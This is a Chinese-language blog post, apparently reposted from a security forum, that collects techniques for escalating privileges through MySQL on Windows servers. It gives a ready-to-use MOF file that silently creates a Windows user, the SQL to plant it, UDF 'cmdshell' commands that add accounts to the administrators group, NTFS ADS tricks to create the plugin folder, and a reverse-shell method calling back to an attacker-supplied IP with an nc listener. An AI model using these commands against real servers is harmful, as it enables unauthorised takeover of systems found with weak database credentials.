MYSQL提權總結


經擦遇到了MYSQL數據庫,想盡辦法提權,最終都沒有成功,很是郁悶,可能是自己很久沒有研究過提權導致的吧,總結一下MYSQL提權的各種姿勢吧,權當復習了。關於mysql提權的方法也就那么幾種,希望也能幫到各位小伙伴們。

一、利用mof提權 

前段時間國外Kingcope大牛發布了mysql遠程提權0day(MySQL Windows Remote System Level Exploit (Stuxnet technique) 0day),劍心牛對MOF利用進行了分析,如下:

Windows 管理規范 (WMI) 提供了以下三種方法編譯到 WMI 存儲庫的托管對象格式 (MOF) 文件:

方法 1: 運行 MOF 文件指定為命令行參數將 Mofcomp.exe 文件。

方法 2: 使用 IMofCompiler 接口和 $ CompileFile 方法。

方法 3: 拖放到 %SystemRoot%\System32\Wbem\MOF 文件夾的 MOF 文件。

Microsoft 建議您到存儲庫編譯 MOF 文件使用前兩種方法。也就是運行 Mofcomp.exe 文件,或使用 IMofCompiler::CompileFile 方法。

第三種方法僅為向后兼容性與早期版本的 WMI 提供,並因為此功能可能不會提供在將來的版本后,不應使用。

具體到mysql提權中,我們又該怎么利用呢?

1、找一個可寫目錄上傳mof文件,我這里上傳到了 C:/wmpub/nullevt.mof 代碼如下。

#pragma namespace("\\\\.\\root\\subscription")

 

instance of __EventFilter as $EventFilter

{

    EventNamespace = "Root\\Cimv2";

    Name  = "filtP2";

    Query = "Select * From __InstanceModificationEvent "

            "Where TargetInstance Isa \"Win32_LocalTime\" "

            "And TargetInstance.Second = 5";

    QueryLanguage = "WQL";

};

 

instance of ActiveScriptEventConsumer as $Consumer

{

    Name = "consPCSV2";

    ScriptingEngine = "JScript";

    ScriptText =

    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user waitalone waitalone.cn /add\")";

};

 

instance of __FilterToConsumerBinding

{

    Consumer   = $Consumer;

    Filter = $EventFilter;

};

 

其中的第18行的命令,上傳前請自己更改。

2、執行load_file及into dumpfile把文件導出到正確的位置即可。

select load_file('C:/wmpub/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'

 

執行成功后,即可添加一個普通用戶,然后你可以更改命令,再上傳導出執行把用戶提升到管理員權限,然后3389連接之就ok了。

二、利用UDF提權 

udf提權這是最常見的提權方式了,但是往往在執行過程中老是遇到"Can't open shared library"的情況,這里我們可以利用NTFS ADS流來解決這個問題。

1、最常見的是直接使用udf.php此類的工具來執行udf提權,具體如下。

連接到mysql以后,先導出udf.dll到c:\windows\system32目錄下。

2、創建相應的函數並執行命令,具體如下:

create function cmdshell returns string soname 'udf.dll';

select cmdshell('net user waitalone waitalone.cn /add');

select cmdshell('net localgroup administrators waitalone /add');

drop function cmdshell; 刪除函數

delete from mysql.func where name='cmdshell'  刪除函數

 

3、某些情況下,我們會遇到Can't open shared library的情況,這時就需要我們把udf.dll導出到lib\plugin目錄下才可以,但是默認情況下plugin不存在,怎么辦? 還好有大牛研究出了利用NTFS ADS流來創建文件夾的方法

select @@basedir;   

//查找到mysql的目錄

select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION';   

//利用NTFS ADS創建lib目錄

select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';

//利用NTFS ADS創建plugin目錄

 

執行成功以后再進行導出即可。

三、反彈端口連接提權 

假如我們掃到了一個mysql的root弱密碼,並且可以外連,但是服務器上面的網站又無法Getshell,這時我們怎么辦呢?

1、利用mysql客戶端工具連接mysql服務器,然后執行下面的操作。

mysql.exe -h 172.16.10.11 -uroot -p

Enter password:

mysql> \. c:\mysql.txt

mysql>select backshell("YourIP",2010);

 

2、本地監聽你反彈的端口

nc.exe -vv -l -p 2010

成功后,你將獲得一個system權限的cmdshell,其實這個也是利用的UDF提權。

mysql.txt下載:
http://pan.baidu.com/share/link?shareid=3689997446&uk=2466540631

參考文章:

http://zone.wooyun.org/content/1795

http://www.exploit-db.com/exploits/23083/

http://www.myhack58.com/Article/html/3/8/2013/38264.htm

http://www.2cto.com/Article/201212/177983.html

要是執行 創建shell出現以下回顯 很大的可能是被刪了

SQL語句:create function cmdshell returns string soname 'moonudf.dll'

Can't open shared library 'moonudf.dll' (errno: 2 )

 

另外要是不存在plugin目錄可以用ADS創建

 

 //查找mysql的目錄
select @@basedir;

//利用NTFS ADS創建lib目錄
select 'It is dll'into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION';

//利用NTFS ADS創建plugin目錄
select 'It is dll'into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';

 

另外再附一篇文章 ,說的聽明白

 

udf提權方法和出現問題匯總

一、適用條件

1.目標系統是Windows(Win2000,XP,Win2003);

2.你已經擁有MYSQL的某個用戶賬號,此賬號必須有對mysql的insert和delete權限以創建和拋棄函數(MYSQL文檔原語)。

3.有root賬號密碼

二、導出udf

MYSQL 5.1以下版本導出路徑:

C:Winntudf.dll    2000
C:Windowsudf.dll 2003(有的系統被轉義,需要改為C:Windowsudf.dll)

導出DLL文件,導出時請勿必注意導出路徑(一般情況下對任何目錄可寫,無需考慮權限問題)

MYSQL 5.1以上版本,必須要把udf.dll文件放到MYSQL安裝目錄下的libplugin文件夾下才能創建自定義函數

可以再mysql里輸入

select @@basedir

show variables like '%plugins%'   尋找mysql安裝路徑

該目錄默認是不存在的,這就需要我們使用webshell找到MYSQL的安裝目錄,並在安裝目錄下創建libplugin文件夾,然后將udf.dll文件導出到該目錄即可。

三、提權

使用SQL語句創建功能函數。語法:Create Function 函數名(函數名只能為下面列表中的其中之一)returns string soname '導出的DLL路徑';

create function cmdshell returns string soname 'udf.dll'
select cmdshell('net user arsch arsch /add');
select cmdshell('net localgroup administrators arsch /add');

drop function cmdshell;

總結:

mysql中支持UDF擴展 ,使得我們可以調用DLL里面的函數來實現一些特殊的功能。
但是對於UDF的具體限制,MYSQL的各個版本各有不同。 下面記錄一下:

在MYSQL 4.1以前的版本中,可以將所有的DLL文件里面的任何函數都注冊到MYSQL里面以供MYSQL調用。
無論這個DLL在什么位置,函數的聲明是什么樣的。

在MYSQL 4.1及以后的版本中,對UDF函數進行了限制,只有實現了一個特定接口的函數才可以被成功注冊到MYSQL中,
這樣就防止了通過MYSQL非法調用系統的DLL。

在MYSQL5.0以后,對注冊的DLL的位置有了限制,創建函數的時候,所對應的DLL不能包含/或者,簡單的理解就是不能是絕對路徑。
所以我們將DLL釋放到system32目錄,來跳過這個限制..或者放到盤符的根目錄下通過c:udf.dll這種形式的寫法來跳過限制。

后來發現原來只要把dll放到PATH這個環境變量所表示的任何一個目錄下面,效果跟放到system32目錄下面一樣。

再說MYSQL5.1,這里有個問題相信大家會經常遇到的。。
大家有的時候在創建函數的時候,常常會遇到:
數據庫查訊出錯,請檢查SQL語句create function cmdshell returns string soname 'udf.dll'的語法是否正確。Function 'cmdshell'already exists

官方描述如下:

http://bugs.mysql.com/bug.php?id=15439

Description:
Under some circumstances, case handling of UDF names leads to strange behaviour.
This can result in a situation where the function can be successfully dropped
without actually removing the corresponding entry from the mysql.func table.

…………這是因為MYSQL 5.1及以后的版本中,又多了一個限制。
創建函數時所用的DLL只能放在mysql的plugin目錄里面。。
而且這個plugin目錄默認是不存在的。。可能就是為了防止通過into dumpfile將DLL來寫到這個文件夾。。
MYSQL是無法創建目錄的, 如果into dumpfile的目標目錄不存在是會報錯的。

所以在導出UDF提權之前 ,先確定一下MYSQL的版本是有必要的。

如果是5.1以后的,那就不行了,如果是5.1以前的版本創建函數的時候還報Can't open shared library這個錯誤。
那就要看看DLL是不是真的被導出了,還是被殺軟隔離或者干掉了。

對於提權有興趣的朋友可以參考本站的提權信息板塊【點此進入:提權

本文轉自網絡由網絡安全攻防研究室(www.91ri.org)信息安全小組收集整理。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM